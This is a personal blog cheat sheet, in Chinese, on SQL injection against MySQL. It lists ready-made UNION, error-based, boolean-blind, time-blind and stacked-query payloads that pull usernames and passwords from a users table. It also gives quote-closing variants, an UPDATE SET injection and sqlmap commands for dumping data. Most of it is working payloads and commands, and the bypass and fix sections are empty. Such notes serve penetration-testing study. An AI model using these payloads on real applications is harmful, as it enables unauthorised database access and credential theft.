SQL隱碼攻擊個人小記(以MySQL為例)

lrui1發表於2024-12-09

SQL隱碼攻擊個人小記(以MySQL為例)

sqlmap 偉大無需多言

https://github.com/sqlmapproject/sqlmap

參考連結

https://github.com/jason-blog/blog/blob/master/Kali/Sqlmap使用教程【個人筆記精華整理】.MD

手工payload

測試注入點情況

-- 判斷欄位數:在URL中新增
?inject=1' order by 1--+

從information_schema中查詢資訊

# 從資訊表中查詢當前資料庫所有表
select group_concat(table_name) from information_schema.TABLES WHERE table_schema = DATABASE()
# 從表中查詢所有欄位
select group_concat(column_name) from information_schema.COLUMNS where table_name = 'users'

# 查詢值
select group_concat(password) from users;
SELECT CONCAT(username, ':', password) FROM users; # 表格展示
SELECT GROUP_CONCAT(CONCAT(username, ':', password)) FROM users; # 一行展示

select * from users

UNION注入

payload 如下

-- 使用union select 1,2,3,··· 查詢出列數為val
1' union select 1,2,3,··,val --+

-- 查詢當前資料庫所有表
1' union select 1,group_concat(table_name) from information_schema.TABLES WHERE table_schema = DATABASE() --+

報錯注入

updatexml(XML_document,XPath_string,new_value) 利用這個函式,傳入的<XPath_string>不合法會將報錯內容輸出,比如含有'~'字元

payload如下

-- 測試是否存在報錯注入
1' or updatexml(1, concat(0x7e, (select 1 ),0x7e) ,1) #
-- 查詢使用者表中所有的密碼
-1' or updatexml(1,concat(0x7e, (select group_concat(password) from users), 0x7e),1)  #
				 
# 0x7e 是 '~' 字元

布林盲注

以MySQL為例,利用mid或substring或substr函式對查詢結果獲取子串,以下貼出一些常見的sql語句示例

-- 將users表中的username,password全部查詢出來,username和password以0x7e,即'~'符號分隔,每行結果以','分隔
select group_concat(username, 0x7e, password) from users;
-- 擷取以第1位字母開頭,長度為1的子串
select mid((select group_concat(username, 0x7e, password) from users), 1, 1);
-- 將查詢的第1位跟 'D' 字元比對,返回true即sql語句正常執行,返回false則sql語句無法正常返回id=1的資料
select * from users where id = 1 and BINARY (select mid((select group_concat(username, 0x7e, password) from users), 1, 1)) = 'D';

參考payload

1' and BINARY (select mid((select group_concat(username, 0x7e, password) from users), 1, 1)) = 'D' #

時間盲注

若無法實現布林盲注(如果sql語句的查詢結果返回並無太大區別),可以在sql語句中進行比對,返回true延時1s,返回false不延時,注入後的sql語句如下

select * from users where id = '1' or BINARY if(((select mid((select group_concat(username, 0x7e, password) from users), 1, 1)) = 'D'), sleep(1), 1);

參考payload

1' or BINARY if(((select mid((select group_concat(username, 0x7e, password) from users), 1, 1)) = 'e'), sleep(1), 1) #

堆疊注入

獲取資訊

?inject=-1'; show databases; --+
?inject=-1'; show tables; --+
# 查詢列
?inject=1';desc `table_name`--+
?inject=1';show columns from `table_name`--+

利用姿勢

# 直接獲取資料
handler `table_name` open;handler `table_name` read first; --+
-- 最簡單

# 結合預編譯
-- 還算安全,但是麻煩

# 修改表結構 讓需要查詢的表的名字改為服務正常查詢表的名字
-- 刪庫跑路了

-- MySQL表名為純數字時(表名和保留字衝突時也是加反引號),要加反引號

注入點

where (最常見)

下面列舉一些閉合前面的常見組合

1#
1'#
1"#
1')#
1")#
1'))#
1"))#

set 注入點

以下sql語句

$update="UPDATE users SET password = '$passwd' WHERE username='$row1'";

引數$passwd 存在注入,注意控制條件免得直接更新一整張表,意思就是在註釋符號之前自己寫一個條件為false的,如下

1'  where 1=2 #

主要、使用報錯注入獲取資料

使用 sqlmap -r 選項指定報文並進行測試

使用 -r 引數可以將 HTTP 請求報文檔案匯入到 sqlmap,然後對指定的注入點和注入型別進行爆破測試。

1. 命令格式

sqlmap -r request.txt --level=<level> --risk=<risk> --dbms=<dbms> --technique=<technique> --batch --random-agent -p <parameter>

其中:

  • -r request.txt:匯入包含 HTTP 請求的檔案。
  • --level=<level>:指定注入級別(1-5),級別越高,測試的引數越多(預設是 1)。
  • --risk=<risk>:指定測試的風險(1-3),級別越高,測試的請求可能對目標伺服器造成的負載越大(預設是 1)。
  • --dbms=<dbms>:指定資料庫型別(如 MySQL, MSSQL, Oracle, PostgreSQL 等)。可以在明確知道目標資料庫型別時指定。
  • --technique=<technique>:指定 SQL 注入的技術型別(B、E、U、S、T),分別表示:
    • B:布林型盲注(Boolean-based Blind)
    • E:報錯注入(Error-based)
    • U:聯合查詢注入(Union query-based)
    • S:堆查詢注入(Stacked queries)
    • T:時間盲注(Time-based Blind)
  • --batch:自動確認所有提示(用於無人值守的自動化測試)。
  • --random-agent:隨機更改 User-Agent 頭部,防止被目標伺服器遮蔽。
  • -p <parameter>:指定要測試的引數名稱。此處的 <parameter> 替換為實際請求中可能存在注入的引數名,如 usernamepassword 等。

2. 示例命令

以下是一些具體的 sqlmap 命令示例,幫助你在測試環境中進行報錯注入或其他型別的 SQL 注入測試:

例 1:對 POST 請求中 username 引數進行報錯注入測試

sqlmap -r request.txt --level=3 --risk=2 --technique=E --batch --random-agent -p username
  • --level=3:測試所有的 POST 引數以及一些 HTTP 頭中的引數。
  • --risk=2:進行適度風險的測試,可能會使用一些可能影響伺服器效能的測試用例。
  • --technique=E:只使用報錯型注入進行測試。
  • -p username:只對 username 引數進行注入測試。

例 2:對 GET 請求中所有引數進行聯合查詢注入測試

sqlmap -r request.txt --level=2 --risk=1 --technique=U --dbms=MySQL --batch --random-agent
  • --dbms=MySQL:指定目標資料庫型別為 MySQL(可選項,知道目標資料庫型別時指定更有效)。
  • --technique=U:只使用聯合查詢注入進行測試。

例 3:對 POST 請求中 password 引數進行時間盲注測試

sqlmap -r request.txt --level=1 --risk=1 --technique=T --batch --random-agent -p password
  • --technique=T:只使用時間盲注進行測試。
  • -p password:只對 password 引數進行注入測試。

3. 常用的 sqlmap 選項說明

  • --dbs:列出資料庫。
  • --tables:列出指定資料庫的表(需要使用 -D 引數指定資料庫名)。
  • --columns:列出指定表的欄位(需要使用 -T 引數指定表名)。
  • --dump:轉儲資料(需要指定資料庫和表)。

4. 檢查注入點結果

  • 如果 sqlmap 成功發現了 SQL 注入點,會自動顯示資料庫名、表名、欄位資訊,並可能會詢問是否進一步匯出資料。
  • 如果你想只檢測注入點而不進行資料匯出,可以新增 --smart 選項,它會在檢測到注入點後自動停止測試,而不進行進一步的資料操作。

5. 請求前獲取新Cookie

為了在每次請求之前獲取一個新的Cookie,並將這個Cookie傳遞給Sqlmap,可以使用--eval引數。這個引數允許你在每次請求之前執行一個自定義的Python程式碼段來獲取Cookie,然後將其設定為請求的一部分。

假設你需要請求一個URL來獲取Cookie,並將該Cookie設定給Sqlmap,程式碼如下:

python sqlmap.py -r request.txt --level=3 --risk=2 --technique=T --batch --random-agent -p id --eval="import requests; r = requests.get('http://example.com/get-cookie'); cookie = r.cookies.get('your_cookie_name'); headers['Cookie'] = f'your_cookie_name={cookie}'"

說明:

  • --eval 允許你在Sqlmap每次請求前執行Python程式碼。
  • requests.get('http://example.com/get-cookie') 請求指定URL以獲取新的Cookie。
  • r.cookies.get('your_cookie_name') 獲取請求結果中的指定Cookie名稱。
  • headers['Cookie'] 設定Sqlmap在後續請求中使用這個Cookie。

確保你將 http://example.com/get-cookieyour_cookie_name 替換為實際的URL和Cookie名稱。這樣,每次Sqlmap進行請求前,它都會先向指定的URL傳送請求以獲取最新的Cookie。

繞過思路

鴿

修復思路

鴿

相關文章